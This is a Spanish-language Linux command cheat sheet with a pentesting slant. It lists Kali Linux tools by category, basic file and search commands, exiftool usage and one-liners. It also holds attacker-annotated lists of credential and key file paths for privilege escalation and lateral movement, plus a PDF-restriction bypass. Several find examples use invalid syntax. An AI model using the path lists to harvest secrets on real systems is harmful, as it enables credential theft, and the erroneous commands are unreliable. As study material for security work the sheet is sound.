
LINUX
COMMANDS

🌐 ENLACES EXTERNOS
🌐 WEB
LEYENDA DE COLORES
▉ BLANCO Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
▉ [PARÉNTESIS] [Parámetros a introducir en una línea de comandos]
▉ GRIS Introducciones / Aclaraciones / Texto explicativo
▉ VERDE Sintaxis / Comandos / Código genérico
▉ VERDE PÁLIDO Prompts
▉ AZUL Rutas / Directorios / "Windows"
▉ AZUL CLARO URLs / IPs
▉ ROSA Destacar parámetros en una línea de comandos
▉ ROJO Comandos de privilegios / stderr / Atención
▉ NARANJA Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
▉ AMARILLO Puertos / UDP / JavaScript / php
🗃️ SISTEMA DE ARCHIVOS
FHS:
El Filesystem Hierarchy Standard (FHS) es un estándar que describe las convenciones utilizadas para la estructura de directorios en sistemas similares a Unix, incluyendo Linux. Este estándar ha sido adoptado y popularizado por su uso en distribuciones de Linux, aunque también es utilizado por otros sistemas operativos basados en Unix. El FHS es mantenido por la Linux Foundation, y la última versión es la 3.0, lanzada el 3 de junio de 2015.
Desde su inicio como una iniciativa de Linux, el FHS ha sido adoptado por otros sistemas operativos derivados de Unix, aunque algunos de estos sistemas operativos han optado por desarrollar sus propias estructuras de directorios, que pueden variar significativamente. Por ejemplo, MacOS X utiliza nombres como /Applications, /Library y /Users, además de la jerarquía de directorios tradicional de Unix.
En sistemas Unix y similares como BSD y GNU/Linux, todos los archivos y directorios están contenidos bajo el directorio raíz (/), independientemente de si se encuentran en diferentes dispositivos físicos. Aunque la mayoría de estos directorios existen en todos los sistemas operativos tipo Unix y se utilizan de manera similar, las descripciones proporcionadas por el FHS son específicas para este estándar y no son obligatorias en otras plataformas GNU/Linux
🔧 HERRAMIENTAS DE KALI LINUX POR CATEGORÍAS (2024)
01 - Recopilación de Información:
DNS Analysis - dnsenum
DNS Analysis - dnsmap
DNS Analysis - dnsrecon
DNS Analysis - fierce
IDS/IPS Identification - lbd
IDS/IPS Identification - wafw00f
Live Host Identification - arping
Live Host Identification - fping
Live Host Identification - hping3
Live Host Identification - masscan
Live Host Identification - netcat
Live Host Identification - thcping6
Live Host Identification - unicornscan
Network & Port Scanners - masscan
Network & Port Scanners - nmap
Network & Port Scanners - unicornscan
OSINT Analysis - maltego (installer)
OSINT Analysis - spiderfoot
OSINT Analysis - spiderfoot-cli
OSINT Analysis - theharvester
Route Analysis - netdiscover
Route Analysis - netmask
SMB Analysis - enum4linux
SMB Analysis - nbtscan
SMB Analysis - smbmap
SMTP Analysis - smtp-user-enum
SMTP Analysis - enswaks
SNMP Analysis - onesixtyone
SNMP Analysis - snmp-check
SSL Analysis - ssldump
SSL Analysis - sslh
SSL Analysis - sslscan
SSL Analysis - sslyze
amass
dmitry
ike-scan
legion (root)
recon-ng
09 - Sniffing & Spoofing:
Network Sniffers - dnschef
Network Sniffers - dnsiff
Network Sniffers - netsniff-ng
Spoofing & MITH - dnschef
Spoofing & MITH - rebind
Spoofing & MITH - sslsplit
Spoofing & MITH - tcpreplay
ettercap-graphical
macchanger
minicom
mitmproxy
responder
scapy
tcpdump
wireshark
10 - Post-Explotación:
OS Backdoors - dbd
OS Backdoors - powersploit
OS Backdoors - sbd
Tunneling & Exfiltration - dbd
Tunneling & Exfiltration - dns2tcpc
Tunneling & Exfiltration - dns2tcpd
Tunneling & Exfiltration - exe2hex
Tunneling & Exfiltration - iodine
Tunneling & Exfiltration - miredo
Tunneling & Exfiltration - proxychains4
Tunneling & Exfiltration - proxytunnel
Tunneling & Exfiltration - ptunnel
Tunneling & Exfiltration - pwat
Tunneling & Exfiltration - sslh
Tunneling & Exfiltration - stunnel4
Tunneling & Exfiltration - udptunnel
Web Backdoors - laudanum
Web Backdoors - weevely
evil-winrm
impacket
mimikatz
netcat
powershell empire
powersploit
starkiller
02 - Análisis de Vulnerabilidades:
Fuzzing Tools - spike-generic_chunked
Fuzzing Tools - spike-generic_listen_tcp
Fuzzing Tools - spike-generic_send_tcp
Fuzzing Tools - spike-generic_send_udp
VoIP Tools - voiphopper
legion (roo)
nikito
nmap
unix-privesc-chech
04 - Evaluación de Base de Datos:
SQLite database browser
sqlmap
05 - Ataques de Contraseña:
Offline Attacks - chntpw
Offline Attacks - hash-identifier
Offline Attacks - hashcat
Offline Attacks - hashid
Offline Attacks - john
Offline Attacks - ophcrack-cli
Offline Attacks - samdump2
Online Attacks - hydra
Online Attacks - hydra-graphical
Online Attacks - medusa
Online Attacks - ncrack
Online Attacks - onesixtyone
Online Attacks - patator
Online Attacks - thc-pptp-bruter
Passing the Hash Tools - crackmapexec
Passing the Hash Tools - evil-winrm
Passing the Hash Tools - impacket
Passing the Hash Tools - pth-curl
Passing the Hash Tools - pth-net
Passing the Hash Tools - pth-rpcclient
Passing the Hash Tools - pth-smbclient
Passing the Hash Tools - pth-smbget
Passing the Hash Tools - pth-sqsh
Passing the Hash Tools - pth-winexe
Passing the Hash Tools - pth-wmic
Passing the Hash Tools - pth-wmis
Passing the Hash Tools - pth-xfreerdp
Passing the Hash Tools - smbmap
Password Profiling & Wordlists - cewl
Password Profiling & Wordlists - crunch
Password Profiling & Wordlists - rsmangler
Password Profiling & Wordlists - wordlists
11 - Forense:
Forensic Carving - magicrescue
Forensic Carving - scalpel
Forensic Carving - scrounge-ntfs
Forensic Imaging- guymanager (root)
PDF Forensics - pdf-parser
PDF Forensics - pdfid
Sleuth Kit Suite - autopsy (root)
Sleuth Kit Suite - blkcalc
Sleuth Kit Suite - blkcat
Sleuth Kit Suite - blkls
Sleuth Kit Suite - blkstat
Sleuth Kit Suite - ffind
Sleuth Kit Suite - fls
Sleuth Kit Suite - fsstat
Sleuth Kit Suite - hfind
Sleuth Kit Suite - icat-sleuthkit
Sleuth Kit Suite - ifind
Sleuth Kit Suite - ils-sleuthkit
Sleuth Kit Suite - img_cat
Sleuth Kit Suite - img_stat
Sleuth Kit Suite - istat
Sleuth Kit Suite - jcat
Sleuth Kit Suite - jls
Sleuth Kit Suite - mactime-sleuthkit
Sleuth Kit Suite - mmcat
Sleuth Kit Suite - mmls
Sleuth Kit Suite - mmstat
Sleuth Kit Suite - sigfind
Sleuth Kit Suite - sorter
Sleuth Kit Suite - srch_strings
Sleuth Kit Suite - tsk_comparedir
Sleuth Kit Suite - tsk_gettimes
Sleuth Kit Suite - tsk_loadd
Sleuth Kit Suite - tsk_recover
binwalk
bulk_extractor
hashdeep
03 - Análisis de Aplicaciones Web:
CMS & Framework ID - wpscan
Web Application Proxies - burpsuite
Web Crawlers & Dir. BruFor - cutycapt
Web Crawlers & Dir. BruFor - dirb
Web Crawlers & Dir. BruFor - dirbuster
Web Crawlers & Dir. BruFor - ffuf
Web Crawlers & Dir. BruFor - gobuster
Web Crawlers & Dir. BruFor - wfuzz
Web Vulnerability Scanners - cadaver
Web Vulnerability Scanners - davtest
Web Vulnerability Scanners - nikito
Web Vulnerability Scanners - skipfish
Web Vulnerability Scanners - wapiti
Web Vulnerability Scanners - whatweb
Web Vulnerability Scanners - wpscan
burpsuite
commix
sqlmap
webshells
06 - Ataques a Redes Inalámbricas:
802.11 Wireless - bully
802.11 Wireless - fern wifi cracker (root)
Bluetooth - spooftooph
aircrack-ng
kismet
pixiewps
reaver
wifite
07 - Ingeniería Inversa:
clang
clang++
NASM shell
radare2
08 - Explotación:
crackmapexec
metasploit framework
msf payload creator
searchsploit
social engineering toolkit (root)
sqlmap
12 - Elaboración de Informes:
CherryTree
cutycapt
faraday start
maltego (installer)
pipal
recordmydesktop
13 - Ingeniería Social:
maltego (installer)
msf payload creator
social engineering toolkit (root)
🎯 RUTAS DE INTERÉS
📂 Directorios principales (Kali Linux):
. (directorio actual)
~ (directorio home del usuario actual)
/ (raíz del sistema o root)
📂 Archivos importantes del sistema (Kali Linux):
/etc/passwd (usuarios y grupos a los que pertenecen)
/etc/shadow (contraseñas de usuarios)
/etc/cron.d (tareas cron)
/etc/default/useradd (parámetros por defecto de usuarios)
/etc/group (grupos de usuarios)
/etc/gshadow (contraseñas de los grupos)
⚠️ Directorios con permisos 1777 (Kali Linux):
/var/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-haveged.service-NCCnDI/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-systemd-logind.service-S2AQ87/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-colord.service-t3rBkK/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-ModemManager.service-5N0X8d/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-upower.service-nWr0qe/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-polkit.service-7oFGKB/tmp
/run/lock
/run/screen
/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-ModemManager.service-hwi4TC/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-colord.service-arI5Me/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-systemd-logind.service-dOKKaL/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-haveged.service-8XPD6b/tmp
/tmp/.font-unix
/tmp/.XIM-unix
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-polkit.service-cCb2On/tmp
/tmp/.X11-unix
/tmp/.ICE-unix
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-upower.service-gu3tpf/tmp
/dev/shm
/dev/mqueue
⚠️ Directorios con permisos 755 (Kali Linux):
/var/lib/AccountsService
/var/lib/AccountsService/icons
/var/lib/inetsim/http/postdata
/var/lib/inetsim/ftp/upload
/var/lib/inetsim/smtp
/var/lib/inetsim/tftp/upload
Rutas de archivos sensibles de interés en Linux (👨USUARIO):
/home/usuario/.bash_history (historial de comandos bash → puede revelar contraseñas)
/home/usuario/.ssh/id_rsa (clave privada SSH → acceso a otros sistemas)
/home/usuario/.ssh/authorized_keys (claves públicas autorizadas → pivoting)
/home/usuario/.ssh/known_hosts (lista de hosts SSH conocidos → para moverte lateralmente)
/home/usuario/.bashrc (alias y funciones personalizadas → posibles credenciales)
/home/usuario/.profile (variables de entorno cargadas al login)
/home/usuario/.git-credentials (credenciales HTTP de Git → a veces usuario:pass en texto)
/home/usuario/.gnupg (claves GPG privadas → cifrado y firmas)
/home/usuario/.netrc (credenciales para FTP, HTTP → hosts, usuarios y contraseñas)
/home/usuario/.my.cnf (configuración MySQL → usuario y contraseña para conexiones)
/home/usuario/.pgpass (contraseñas PostgreSQL → formato host:port:db:user:pass)
/home/usuario/.npmrc (tokens NPM → acceso a registries privados)
/home/usuario/.pypirc (credenciales PyPI → usuario y contraseña para uploads)
/home/usuario/.gem/credentials (credenciales RubyGems → API keys para gems)
/home/usuario/.subversion/auth/ (credenciales Subversion → usuarios y contraseñas cached)
/home/usuario/.mysql_history (historial de comandos MySQL → queries con creds)
/home/usuario/.psql_history (historial de comandos PostgreSQL → similar a MySQL)
Rutas de archivos sensibles de interés en Linux (⚙️ARCHIVOS DEL SISTEMA):
/etc/passwd (lista de usuarios del sistema. no contiene contraseñas)
/etc/shadow (hashes de contraseñas → solo accesible como root)
/etc/group (grupos del sistema → ver si el usuario está en sudo)
/etc/hostname (nombre del host)
/etc/hosts (mapeo IP ↔ nombre → puede revelar entornos internos)
/etc/resolv.conf (servidores DNS configurados)
/etc/sudoers (configuración de sudo → privilegios de usuarios)
/etc/fstab (montajes de filesystems → posibles creds en opciones de mount como NFS/SMB)
/etc/crontab (cron jobs del sistema → scripts con comandos sensibles o creds)
/etc/aliases (aliases de email → redirecciones y usuarios)
/etc/os-release (detalles del SO → versión y distribución para exploits)
/etc/lsb-release (información de distribución → similar a os-release)
/etc/issue (mensaje de identificación del sistema → banners pre-login)
/etc/motd (Message Of The Day → info personalizada post-login)
Rutas de archivos sensibles de interés en Linux (⚙️CONFIGURACIÓN DE SERVICIOS):
/etc/ssh/sshd_config (configuración SSH → puede revelar usuarios PermitRootLogin)
/etc/apache2/apache2.conf (configuración Apache)
/etc/nginx/nginx.conf (configuración Nginx → posibles rutas ocultas)
/etc/mysql/my.cnf (configuración MySQL → a veces incluye usuario y contraseña)
/etc/postgresql/pg_hba.conf (autenticación PostgreSQL → métodos de auth y usuarios)
/etc/redis/redis.conf (configuración Redis → requirepass para contraseña)
/etc/mongod.conf (configuración MongoDB → auth, usuarios y roles)
/etc/php/php.ini (configuración PHP → expose_php, allow_url_fopen con riesgos)
/etc/dovecot/dovecot.conf (configuración email IMAP/POP → auth mechanisms con creds)
/etc/postfix/main.cf (configuración SMTP → relayhost con posibles creds)
/etc/samba/smb.conf (configuración Samba → shares con usuarios y contraseñas)
/etc/ldap/ldap.conf (configuración LDAP → binddn y bindpw para auth)
/var/www/html/config.php (configuración de webs PHP → claves DB, API keys)
/var/www/html/.env (variables de entorno web → claves API, DB, JWT)
Rutas de archivos sensibles de interés en Linux (💾ARCHIVOS DE LOGS):
/var/log/auth.log (logins exitosos y fallidos → bruteforce detectado)
/var/log/secure (iIgual que auth.log (en RedHat)
/var/log/apache2/access.log (peticiones web → puede revelar parámetros y ataques)
/var/log/apache2/error.log (errores web → paths internos, errores SQL)
/var/log/mysql/error.log (errores de MySQL → usuarios y contraseñas a veces)
/var/log/syslog (logs generales del sistema → eventos variados)
/var/log/messages (mensajes del sistema → similar a syslog en algunas distros)
/var/log/kern.log (logs del kernel → hardware y drivers sensibles)
/var/log/dmesg (mensajes de boot → dispositivos y configs iniciales)
/var/log/nginx/access.log (peticiones Nginx → similar a Apache access)
/var/log/nginx/error.log (errores Nginx → leaks de info interna)
/var/log/postgresql/postgresql.log (logs PostgreSQL → queries y errores con creds)
/var/log/redis/redis.log (logs Redis → conexiones y comandos sensibles)
/var/log/cron (logs de cron jobs → ejecuciones fallidas con detalles)
/var/log/audit/audit.log (logs de auditoría → eventos de seguridad detallados)
Rutas de archivos sensibles de interés en Linux (🪪CREDENCIALES Y API KEYS):
/var/www/html/.env (variables de entorno → API keys, DB credentials)
/var/www/html/wp-config.php (configuración WordPress → DB usuario y contraseña)
/var/www/html/config.php (configuración genérica → a veces claves duras)
/var/www/html/.htpasswd (archivos de contraseñas HTTP Basic Auth)
/var/www/html/.git/config (URLs de repositorios → puede contener tokens)
/etc/environment (variables de entorno system-wide → posibles secrets)
/etc/jenkins/jenkins.model.JenkinsLocationConfiguration.xml (config Jenkins → URLs y creds)
/var/www/html/laravel/.env (env Laravel → app keys, DB creds)
/var/www/html/drupal/sites/default/settings.php (config Drupal → DB y site keys)
/home/usuario/.env (env user-specific → creds locales)
/home/usuario/.composer/auth.json (credenciales Composer → tokens GitHub/Packagist)
/home/usuario/.maven/settings.xml (config Maven → server creds para repos)
Rutas de archivos sensibles de interés en Linux (🔑CLAVES Y TOKENS):
/root/.ssh/id_rsa (clave privada SSH root)
/etc/ssl/private/ (claves privadas SSL)
/home/usuario/.aws/credentials (credenciales AWS → acceso cloud)
/home/usuario/.docker/config.json (tokens Docker → acceso a registries privados)
/home/usuario/.ssh/id_rsa (aquí se encontraría la Clave Privada de OpenSSH)
/home/usuario/.kube/config (config Kubernetes → tokens y certs para clusters)
/home/usuario/.config/gcloud/credentials.db (credenciales Google Cloud → access tokens)
/home/usuario/.azure/config.json (config Azure → subscription IDs y keys)
/home/usuario/.config/digitalocean/config.json (tokens DigitalOcean → API access)
/home/usuario/.terraformrc (config Terraform → provider creds)
/home/usuario/.config/heroku/credentials (credenciales Heroku → API keys)
/home/usuario/.vault-token (tokens Vault → secrets management)
/etc/letsencrypt/live (claves y certs Let's Encrypt → dominios)
Rutas de archivos sensibles de interés en Linux (*️⃣OTROS):
/proc/self/environ (variables de entorno del proceso actual)
/proc/net/tcp (conexiones TCP activas → puede revelar servicios internos)
/proc/cmdline (parámetros del kernel al arrancar → posibles creds)
/proc/sched_debug (información detallada de procesos → a veces sensible)
/proc/self/cmdline (command line del proceso actual → args con datos)
/proc/mounts (filesystems montados → tipos y opciones con creds)
/sys/class/net/ (interfaces de red → MAC, IPs, configs)
/var/spool/cron/crontabs/ (crontabs de usuarios → jobs con scripts y creds)
/etc/cron.d/ (directorios cron → jobs programados con info)
/etc/init.d/ (scripts de init → comandos de startup con creds)
/proc/cpuinfo (detalles de CPU → para fingerprinting hardware)
/proc/meminfo (info de memoria → uso y límites)
/etc/security/limits.conf (límites de recursos → configs de usuarios)
🔎 LOCATE
Locate:
sudo updatedb (actualizar manualmente la base de datos de archivos del sistema)
locate [término a buscar] (busca el término dado en TODO el sistema)
Binarios:
which [binario] (busca ruta absoluta de un binario del sistema)
whereis [binario] (busca ruta absoluta, fuente y manpage de un binario del sistema)
🔎 FIND
El comando find en Linux es una herramienta poderosa y versátil para buscar archivos y directorios en el sistema.
Ejemplos en diferentes directorios:
find . -name file (buscar archivo con nombre "file" desde el directorio actual)
find ~ -name file (buscar archivo con nombre "file" desde el directorio del usuario actual)
find / -name file (buscar archivo con nombre "file" desde la raíz del sistema)
Buscar por tipo de archivo:
find / -b (buscar archivos)
find / -f (buscar archivos)
find / -d (buscar directorios)
find / -d -empty (buscar directorios vacíos)
Buscar por tiempo:
find / -f -mtime -7 (archivos modificados en los últimos 7 días)
Buscar por tamaño:
find / -f -size 10c (buscar archivos de 10 bytes)
find / -f -size +10c (buscar archivos de más de 10 bytes)
find / -f -size -10c (buscar archivos de menos de 10 bytes)
find / -f -size 10k (buscar archivos de 10 kilobytes)
find / -f -size 10M (buscar archivos de 10 megabytes)
find / -f -size 10G (buscar archivos de 10 gigabytes)
Buscar por nombre de usuario o grupo:
find / -f -user [usuario] (buscar archivos por nombre de usuario)
find / -f -group [grupo] (buscar archivos por nombre de grupo)
Buscar por permisos:
find / -f -perm 777 (archivos con plenos permisos para todos los usuarios)
find / -f -perm 755 (archivos con plenos permisos para root, y permisos de lectura y ejecución para el resto)
find / -f -perm 700 (archivos con plenos permisos para root, y ningún permiso para el resto)
find / -readable (archivos con permisos de lectura para el usuario actual)
find / -writable (archivos con permisos de escritura para el usuario actual)
find / executable (archivos con permisos de ejecución para el usuario actual)
Buscar por nombre parcial. * significa cualquier caracter. Atención al sentido de la barra \ :
find / -name Pu\* (el nombre del archivo o directorio buscado debe empezar por Pu)
Condicionales:
-and (resultados de búsqueda deben cumplir ambas condiciones)
-or (resultados de búsqueda deben cumplir al menos una condición)
-not (para negar la condición posterior)
Permite ejecutar un comando en cada archivo que encuentre:
-exec
Pipe para mostrar también archivos ocultos en la búsqueda:
| xargs ls -la
Para filtrar el output y descartar el stderr, añadir al final:
2>/dev/null
Buscar un término desde la raíz, filtrando resultados que NO vengan acompañados de "Permission denied":
find / -name pepe 2>&1 | grep -v "Permission denied"
----------------------------------------------------------------------------------------------------------------------------------------------------------
Buscar archivos con el bit SUID desde la raíz (el bit SUID activo permite que cualquier usuario pueda ejecutarlos como root):
find / -perm -4000 2>/dev/null
Buscar binarios vulnerables en GTFOBins:
🌐 https://gtfobins.github.io
📝 LISTAR CONTENIDO
ls (lista contenido directorio actual)
ls /Home/carpeta (lista contenido directorio dado)
ls -l (lista contenido detallado)
ls -la (lista contenido detallado y oculto)
ls -hog (lista contenido detallado compacto)
ls -r (lista contenido por orden alfabético inverso)
ls -R (lista contenido, todos los directorios y su contenido en cascada)
ls Documents -R (lista contenido en cascada del directorio dado)
ls -s (lista contenido indicando tamaño. blocks)
ls -S (lista contenido ordenado por tamaño. blocks)
ls -d */ (lista contenido SOLO directorios)
ls -t (lista contenido "Newest First")
ls -1 (lista contenido en vertical)
ls > [archivo] (lista contenido y guardar resultado en archivo dado)
ls -l > [archivo] (lista contenido detallado y guardar resultado en archivo dado)
ls -ltr (listar contenido detallado por fecha "Ordest First")
ls ../ (listar contenido del directorio anterior)
tree (Ver árbol de los directorios y subdirectorios)
ls -a | xargs realpath (Ver las rutas completas de los archivos contenidos en el directorio)
📁 CAMBIAR DIRECTORIO
cd /home/Music (ir al directorio dado)
cd .. (un salto de directorio hacia atrás)
cd .. .. (dos saltos de directorio hacia atrás)
cd .. .. .. (tres saltos de directorio hacia atrás)
cd / (ir a root)
cd ~ (ir al directorio del usuario actual)
cd !$ (situarse en el directorio creado previamente con mkdir)
📁 MODIFICAR ARCHIVOS Y DIRECTORIOS
Crear nuevo:
touch [archivo] (crear archivo nuevo)
mkdir [directorio] (crear directorio nuevo)
Copiar:
cp [archivo] [copia] (copiar el archivo "archivo" y llamar "copia" a la copia)
cp [archivo] /tmp/guest (copiar el archivo "archivo" a la ruta dada)
cp /tmp/guest [archivo] (copia el archivo de la ruta en directorio actual con el nombre dado)
Borrar:
rm [archivo] (borrar archivo)
rmdir [directorio] (borrar directorio vacío)
rm -r [directorio] (borrar directorio y su contenido)
rm -rf [directorio] (borrar directorio y su contenido sin pedir confirmación)
rm -ri [directorio] (igual que el anterior pero preguntando por cada archivo)
Mover:
mv [archivo] /tmp/guest (mueve file1 a la ruta dada)
Cambiar nombre:
mv [archivo1] [archivo2] ("archivo1" pasa a llamarse "archivo2")
Asociar archivo con nº de indicativo:
exec 1<> [archivo] ("archivo" pasa a estar asociado al nº1 para lectura y escritura)
exec 1< [archivo] ("archivo" pasa a estar asociado al nº1 para solo lectura)
exec 1> [archivo] ("archivo" pasa a estar asociado al nº1 para solo escritura)
echo blabla >&1 (mete el testo "blabla" en nº1)
exec 2>&1 (concatena el nº2 al nº1. ambos se asocian con "archivo")
exec 1>&- (anula la asociación de "archivo" al nº1)
📑 CAT Y SIMILARES
Ejecutar ejecutables (.sh):
./[archivo] (ejecutar el archivo)
Cat:
cat [archivo] (abrir como texto)
cat ./[archivo] (abrir como texto)
cat "[archivo 1]" (abrir archivo con espacios en el nombre)
cat * (abrir todos los archivos del directorio)
cat [archivo0*] (abrir archivos similares tipo file01, file02, file03 ...)
cat /home/archivo (abrir archivo de ruta dada)
Sort:
sort [archivo] (abrir archivo como texto ordenado por orden alfabético)
sort -r [archivo] (abrir archivo como texto ordenado por orden inverso al orden alfabético)
sort -R [archivo] (abrir archivo como texto ordenado de forma aleatoria)
sort -k3 [archivo] (abrir archivo como texto ordenado por orden alfabético solo el tercer argumento de cada línea)
sort -n [archivo] (abrir archivo como texto ordenado valores numéricos)
Strings:
strings [archivo] (abrir y mostrar cadenas de caracteres imprimibles de archivos con texto no legible)
strings -a [archivo] (analiza todo el archivo, no solo secciones de datos cargables)
strings -d [archivo] (muestra solo cadenas de secciones de datos cargables e inicializadas)
strings -n [nº] [archivo] (establece un límite mínimo de caracteres para mostrar cadenas)
strings -t RADIX [archivo] (muestra los desplazamientos de las secuencias de caracteres)
Otros:
head [archivo] (abrir como texto mostrando las 10 primeras líneas)
tail [archivo] (abrir como texto mostrando las 10 últimas líneas)
diff [archivo1] [archivo2] (compara contenido de 2 archivos y resalta diferencias)
nl [archivo] (es un cat que numera las líneas del output)
more [archivo] (es un cat que permite navegar el output por páginas)
less [archivo] (es un cat que permite navegar el output con flechas)
tac [archivo] (es un cat pero que lista el contenido de fin a principio)
rev [archivo] (es un cat pero que lista el contenido del revés)
uniq [archivo] (omite aquellas líneas de texto repetidas, mostrándolas una sola vez)
uniq -c [archivo] (indica el número de veces que se repite una línea de texto dentro del archivo)
uniq -d [archivo] (muestra solo las líneas de texto que se repiten al menos una vez dentro del archivo)
wc -m [archivo] (cuenta el número de caracteres dentro del archivo)
wc -l [archivo] (cuenta el número de líneas de texto dentro del archivo)
📊 EXIFTOOL
ExifTool es una herramienta de código abierto construida en Perl por Phil Harvey, diseñada para leer, escribir y manipular metadatos en una amplia variedad de tipos de archivos. EXIF, que significa Exchangeable Image File Format, se utiliza principalmente para incluir metadatos en varios tipos de archivos como txt, png, jpeg, pdf, HTML, entre otros. Con ExifTool, puedes realizar tareas como clasificar imágenes en carpetas según su fecha de creación, renombrar archivos de imagen según su fecha de creación, extraer metadatos específicos, editar metadatos existentes, guardar metadatos en un archivo de texto para su uso posterior, y eliminar todos los metadatos de un archivo, dejando solo la información básica o protegida.
🌐 https://exiftool.org
Instalación:
sudo apt install exiftool
VISIONAR metadatos de un archivo:
exiftool [archivo]
Ver menú de ayuda:
exiftool -h
ESCRIBIR metadatos en un archivo:
-[nombre_del_metadato]="valor" [nombre_de_archivo]
Ejemplo:
exiftool -DateTimeOriginal="2024:04:15 12:00:00" [archivo]
ELIMINAR todos los metadatos de un archivo:
exiftool -all= [nombre_de_archivo]
Ejemplo:
exiftool -all= [archivo]
🖥️ COMANDOS DE TERMINAL
Comandos:
clear (limpiar terminal)
reset (resetear terminal)
reboot (reiniciar sistema)
Con Shutdown:
shutdown -h now (apagar el sistema ya)
shutdown -h 20 (apagar el sistema en 20 minutos)
shutdown -r now (reiniciar el sistema ya)
shutdown -r 20 (reiniciar el sistema en 20 minutos)
⌨️ ATAJOS DE TECLADO
Movimiento de cursor:
[←] [→] (mover cursor lateralmente)
[ctrl] + [a] (mover cursor al inicio de línea)
[inicio] (mover cursor al inicio de línea)
[ctrl] + [e] (end. mover cursor al final de línea)
[fin] (mover cursor al inicio de línea)
[alt] + [b] (back. retroceder una palabra)
[alt] + [f] (forward. avanzar una palabra)
Portapapeles:
[ctrl] + [shift] + [c] (copiar texto seleccionado)
[ctrl] + [shift] + [x] (cortar texto seleccionado)
[ctrl] + [shift] + [v] (pegar texto del portapapeles)
Terminal:
[alt] + [t] (abrir nueva terminal)
[ctrl] + [l] (limpiar el terminal)
[ctrl] + [u] (limpiar la línea de comandos)
[ctrl] + [c] (detener y cerrar aplicación en curso)
[ctrl] + [z] (pasar a segundo plano la aplicación en curso, liberando la terminal)
[ctrl] + [d] (cierra el terminal)
[ctrl] + [shift] + [d] (divide el terminal horizontalmente)
[ctrl] + [shift] + [r] (divide el terminal verticalmente)
[ctrl] + [shift] + [e] (cierra la división actual del terminal)
[ctrl] + [-] (reducir el tamaño de letra de la terminal)
[ctrl] + [+] (aumentar el tamaño de letra de la terminal)
Texto:
[↑] (imprime último comando ejecutado)
[↓] (imprime el siguiente comando hacia delante)
[tab] (autocompletar comando/línea)
[⇐] (borrar moviendo cursor hacia atrás)
[supr] (borrar moviendo cursor hacia delante)
[ctrl] + [k] (borrar línea desde el cursor)
[ctrl] + [u] (borrar línea hasta el cursor)
🏷️ EXPORT
Se utiliza para definir variables de entorno en el shell actual. Las variables de entorno son pares clave-valor que proporcionan información adicional al sistema operativo y a los programas que se ejecutan en él. Al exportar una variable, se hace disponible para procesos hijos del shell actual, lo que significa que los scripts y programas que se ejecuten desde ese shell podrán acceder a esa variable. Las variables de entorno definidas en una terminal solo estarán operativas en dicha terminal, mientras se mantenga abierta.
Definir una variable de entorno:
export saludo=Hello
Hacer uso de la variable de entorno definida:
echo $saludo
Hello
EJEMPLO DE USO. Definir una variable de entorno para sustituir una IP:
export ip=192.168.1.1
echo $ip
192.168.1.1
Mostrar en terminal las variables de entorno de la sesión actual:
env
🅰️ ALIAS
Definir un ALIAS Temporal para el Usuario Actual (se borrará al cerrar la terminal):
alias [nombre_alias]="[comando]"
Ejemplo:
alias ip-public="curl config.me"
ip-public
10.100.100.10
Listar por terminal los ALIAS Temporales del Usuario Actual:
alias
diff='diff --color=auto'
egrep='egrep --color=auto'
fgrep='fgrep --color=auto'
grep='grep --color=auto'
history='history 0'
ip='ip --color=auto'
l='ls -CF'
la='ls -A'
ll='ls -l'
ls='ls --color=auto'
which-command=whence
Eliminar un ALIAS del Usuario Actual:
unalias
Abrir archivo de ALIAS Permanentes del Usuario Actual en cada SHELL:
mousepad ~/.zshrc
mousepad ~/.bashrc
Tanto en ~/.zshrc como en ~/.bashrc los ALIAS Permanentes se encuentran al final del archivo programados como:
alias ex='example'
Listar por terminal los ALIAS Permanentes del Usuario Actual en ZSH:
grep 'alias' ~/.zshrc ~/.zsh_profile ~/.zsh_aliases
Listar por terminal los ALIAS Permanentes del Usuario Actual en BASH:
grep 'alias' ~/.bashrc ~/.bash_profile ~/.bash_aliases
Listar por terminal los ALIAS Permanentes de Root en ZSH:
sudo grep 'alias' /root/.zshrc /root/.zsh_profile /root/.zsh_aliases
Listar por terminal los ALIAS Permanentes de Root en BASH:
sudo grep 'alias' /root/.bashrc /root/.bash_profile /root/.bash_aliases
1️⃣ ONE-LINERS
Reemplazar los espacios por guiones bajos en los nombres de todos los archivos del directorio actual:
rename 'y/ /_/' *
Pasar a minúsculas los nombres de todos los archivos del directorio actual:
rename 'y/A-Z/a-z' *
Crear contraseña fuerte y aleatoria de 15 caracteres:
head -c 15 /dev/urandom | md5sum | base64 | head -c 15; echo
alias new-pass1='head -c 15 /dev/urandom | md5sum | base64 | head -c 15; echo'
LC_ALL=C tr -dc 'A-Za-z0-9?' </dev/urandom | head -c 15
alias new-pass2='LC_ALL=C tr -dc 'A-Za-z0-9?' </dev/urandom | head -c 15'
Ver parte meteorológico de Madrid:
curl wttr.in/madrid
Salvapantallas de terminal estilo Matrix:
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
alias matrix='tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"'
Salvapantallas de terminal que imita actividad:
cat /dev/urandom | hexdump -C | grep "ca fe"
alias infinitehack='cat /dev/urandom | hexdump -C | grep "ca fe"'
Desactivar limitaciones de seguridad de documento PDF:
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
Ver Star Wars en código ASCII a través de Telnet:
telnet towel.blinkenlights.nl
Listar los comandos más usados por el usuario actual en orden de más a menos usado:
history | awk '{print$2}' | sort | uniq -c | sort -rn | head
